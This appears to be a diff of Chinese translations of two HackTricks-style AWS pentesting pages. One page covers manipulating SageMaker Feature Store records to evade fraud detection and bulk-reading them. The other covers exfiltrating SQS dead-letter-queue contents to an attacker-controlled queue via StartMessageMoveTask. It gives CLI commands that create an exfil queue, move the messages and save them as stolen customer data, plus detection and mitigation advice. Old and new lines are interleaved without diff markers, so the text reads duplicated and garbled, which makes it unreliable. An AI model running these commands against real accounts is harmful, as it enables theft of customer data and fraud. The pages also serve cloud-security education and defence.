注入具有被操纵特征的全新记录以规避安全控制:
注入全新记录,篡改其特征以规避安全控制:
```bash
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
@@ -89,11 +91,11 @@ aws sagemaker-featurestore-runtime get-record \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-999
```
**影响**: 攻击者创建一个风险评分0.01)的假身份,能够进行高价值欺诈交易而不会触发欺诈检测
**影响**攻击者创建一个风险评分低0.01)的假身份,可在不触发欺诈检测的情况下执行高价值欺诈交易。
### 攻击场景 3敏感数据外泄
读取多记录以提取机密特征并分析模型行为:
读取多记录以提取机密特征并分析模型行为:
```bash
# Exfiltrate data for known users
for USER_ID in user-001 user-002 user-003 user-999; do
@@ -104,11 +106,11 @@ aws sagemaker-featurestore-runtime get-record \
--record-identifier-value-as-string ${USER_ID}
done
```
**影响**: 机密特征(风险评分、交易模式、个人数据)攻击者暴露
**影响**: 机密特征(风险评分、交易模式、个人数据)暴露给攻击者。
### 测试/演示 Feature Group 创建(可选)
如果需要创建一个测试 Feature Group
如果需要创建一个测试 Feature Group:
```bash
REGION=${REGION:-us-east-1}
FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
@@ -141,20 +143,6 @@ fi
echo "Feature Group ready: $FG"
```
## 检测
监控 CloudTrail 以发现可疑模式:
- `PutRecord` events from unusual IAM principals or IP addresses
- High frequency `PutRecord` or `GetRecord` calls
- `PutRecord` with anomalous feature values (e.g., risk_score outside normal range)
- Bulk `GetRecord` operations indicating mass exfiltration
- Access outside normal business hours or from unexpected locations
实施异常检测:
- 特征值验证例如risk_score 必须在 0.0-1.0
- 写入模式分析(频率、时间、来源身份)
- 数据漂移检测(特征分布的突然变化)
## 参考
- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
## 参考资料
- [AWS SageMaker Feature Store 文档](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
- [Feature Store 安全最佳实践](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)

View File

@@ -1,53 +1,55 @@
# AWS SQS DLQ Redrive Exfiltration via StartMessageMoveTask
## Description
{{#include ../../../banners/hacktricks-training.md}}
滥用 SQS message move task通过将受害者的 Dead-Letter Queue (DLQ) 中所有积累的消息重定向到攻击者控制的队列,来窃取这些消息,需使用 `sqs:StartMessageMoveTask`。该技术利用了 AWS 的合法消息恢复功能,以大规模外泄长期积累在 DLQ 中的敏感数据。
## 描述
## What is a Dead-Letter Queue (DLQ)?
滥用 SQS 消息移动任务,通过 `sqs:StartMessageMoveTask` 将受害者的 Dead-Letter Queue (DLQ) 中所有积累的消息重定向到攻击者控制的队列,从而窃取这些消息。该技术利用 AWS 的合法消息恢复功能来 exfiltrate 长期在 DLQ 中积累的敏感数据。
Dead-Letter Queue(死信队列)是一个特殊的 SQS 队列,当主应用无法成功处理消息时,这些消息会自动发送到该队列。失败的消息通常包含:
## 什么是 Dead-Letter Queue (DLQ)?
Dead-Letter Queue 是一种特殊的 SQS 队列,当主应用无法成功处理消息时,消息会被自动发送到该队列。那些处理失败的消息通常包含:
- 无法处理的敏感应用数据
- 错误详情和调试信息
- 个人可识别信息 (PII)
- API 令牌、凭证或其他秘密
- 与业务关键事务相关的数据
- Personal Identifiable Information (PII)
- API tokens、凭证或其他秘密
- 关键业务交易数据
DLQ 相当于失败消息的“墓地”,因为应用无法正确处理的敏感数据会随着时间累积,使其成为有价值的目标。
DLQ 相当于失败消息的“墓地”,因为它们会随着时间积累应用无法处理的敏感数据,因此是有价值的目标。
## Attack Scenario
## 攻击场景
**Real-world example:**
1. **E-commerce application** 通过 SQS 处理客户订单
2. **Some orders fail**(支付问题、库存问题等)被移动到 DLQ
3. **DLQ accumulates** 几周/几个月的失败订单,包含客户数据: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
4. **Attacker gains access** 具有 SQS 权限的 AWS 凭证
5. **Attacker discovers** DLQ 中包含数千条敏感数据的失败订单
6. **Instead of trying to access individual messages**慢且明显),攻击者使用 `StartMessageMoveTask` 将所有消息批量转移到自己的队列
7. **Attacker extracts** 一次性提取所有历史敏感数据
**真实案例:**
1. **电商应用** 通过 SQS 处理客户订单
2. **部分订单处理失败**(支付问题、库存问题等)被移动到 DLQ
3. **DLQ 积累** 了数周/数月的失败订单,包含客户数据: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
4. **攻击者获取** 具有 SQS 权限的 AWS 凭证
5. **攻击者发现** DLQ 中包含数千条敏感数据的失败订单
6. **攻击者没有逐条读取**(慢且容易被发现),而是使用 `StartMessageMoveTask` 将所有消息批量转移到自己的队列
7. **攻击者一次性提取** 所有历史敏感数据
## Requirements
- 源队列必须被配置为 DLQ至少个队列的 RedrivePolicy 引用)。
- IAM 权限(以被入侵的受害者主体身份运行):
- 在 DLQ`sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`
- 在目标队列:允许投递消息的权限(例如,队列策略允许受害者主体的 `sqs:SendMessage`)。对于同账的目标队列,通常默认允许。
- 如果启用了 SSE-KMS在源 CMK 上需 `kms:Decrypt`,在目标 CMK 上需 `kms:GenerateDataKey`, `kms:Encrypt`
## 要求
- 源队列必须被配置为 DLQ至少被某个队列的 RedrivePolicy 引用)。
- IAM 权限(以被攻破的受害者主体身份运行)
- 在 DLQ`sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`
- 在目标队列:允许投递消息的权限(例如,队列策略允许来自受害者主体的 `sqs:SendMessage`)。对于同账的目标队列,通常默认允许。
- 如果启用了 SSE-KMS在源 CMK 上需 `kms:Decrypt`,在目标 CMK 上需 `kms:GenerateDataKey`, `kms:Encrypt`
## Impact
使用本地 SQS API 可以高速外泄累积在 DLQ 中的敏感负载失败事件、PII、令牌、应用负载。如果目标队列策略允许来自受害者主体的 `SendMessage`,则可跨账号工作
## 影响
使用原生 SQS API 高速 exfiltrate 累积在 DLQ 中的敏感负载失败事件、PII、令牌、应用负载。如果目标队列策略允许来自受害者主体的 `SendMessage`,则可跨账号使用
## How to Abuse
## 如何滥用
- 确认受害者 DLQ ARN并确保它确实被某个队列引用为 DLQ任何队列都可以)。
- 创建或选择一个攻击者控制的目标队列并获取其 ARN。
- 从受害者 DLQ 启动消息移动任务到你的目标队列。
- 监控进度或在需要时取消任务。
- 确认受害者 DLQ ARN并确保它确实被某个队列为 DLQ 引用(任何队列即可)。
- 创建或选择一个攻击者控制的目标队列并获取其 ARN。
- 从受害者 DLQ 启动一个消息移动任务,将消息移动到你的目标队列。
- 监控进度,必要时取消任务。
### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
### CLI 示例:Exfiltrating Customer Data from E-commerce DLQ
**Scenario**: 攻击者已入侵 AWS 凭证,发现某电商应用使用 SQS,且存在包含失败客户订单处理尝试的 DLQ
**Scenario**: 攻击者已攻破 AWS 凭证,发现某电商应用使用 SQS 且其 DLQ 中包含失败客户订单处理记录
1) **Discover and examine the victim DLQ**
1) **发现并检查受害者的 DLQ**
```bash
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
aws sqs list-queues --queue-name-prefix dlq
@@ -61,7 +63,7 @@ aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
--attribute-names ApproximateNumberOfMessages
# Output might show: "ApproximateNumberOfMessages": "1847"
```
2) **创建 attacker-controlled destination queue**
2) **创建攻击者控制的目标队列**
```bash
# Create our exfiltration queue
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
@@ -114,20 +116,20 @@ echo "$MESSAGES" >> stolen_customer_data.json
done
```
### 跨账户注意事项
- 目标队列必须有一个资源策略,允许受害主体执行 `sqs:SendMessage`(如果使用 KMS,还需相应的授权/权限)。
- 目标队列必须有一个资源策略,允许受害主体执行 `sqs:SendMessage`(如果使用,还需 KMS 授权/权限)。
## 此攻击为何有效
## 为什么此攻击有效
1. **合法的 AWS 特性**:使用内置的 AWS 功能,使其难以被检测为恶意
2. **批量操作**:快速传输数千条消息,而不是慢速的逐条访问
1. **合法的 AWS 功能**:使用内置的 AWS 功能,使其难以被识别为恶意
2. **批量操作**:快速传输数千条消息,而不是缓慢地逐条访问
3. **历史数据**DLQs 会在数周/数月内积累敏感数据
4. **不易被察觉**:许多组织不会密切监 DLQ 访问
5. **跨账户能力**:如果权限允许,可将数据 exfiltrate 到攻击者自己的 AWS 账户
4. **不易被注意**:许多组织不会密切监 DLQ 访问
5. **支持跨账户**:如果权限允许,可将数据外传到攻击者自己的 AWS 账户
## 检测与防护
### 检测
监控 CloudTrail 是否有可疑的 `StartMessageMoveTask` API 调用:
监控 CloudTrail 可疑的 `StartMessageMoveTask` API 调用:
```json
{
"eventName": "StartMessageMoveTask",
@@ -142,9 +144,11 @@ done
}
}
```
### 防范措施
1. **Least Privilege**: `sqs:StartMessageMoveTask` 权限限制为仅必要的角色开放
2. **Monitor DLQs**: 为异常的 DLQ 活动设置 CloudWatch 警
3. **Cross-Account Policies**: 仔细审查允许跨账访问的 SQS 队列策略
4. **Encrypt DLQs**: 使用 SSE-KMS 并密钥策略施加限制
5. **Regular Cleanup**: 不要让敏感数据在 DLQs 中无限期
###
1. **最小权限**`sqs:StartMessageMoveTask` 权限限制为仅必要的角色
2. **监控 DLQs**为异常的 DLQ 活动设置 CloudWatch
3. **跨账号策略**仔细审查允许跨账访问的 SQS 队列策略
4. **加密 DLQs**使用 SSE-KMS 并限制密钥策略
5. **定期清理**不要让敏感数据在 DLQs 中无限期累
{{#include ../../../banners/hacktricks-training.md}}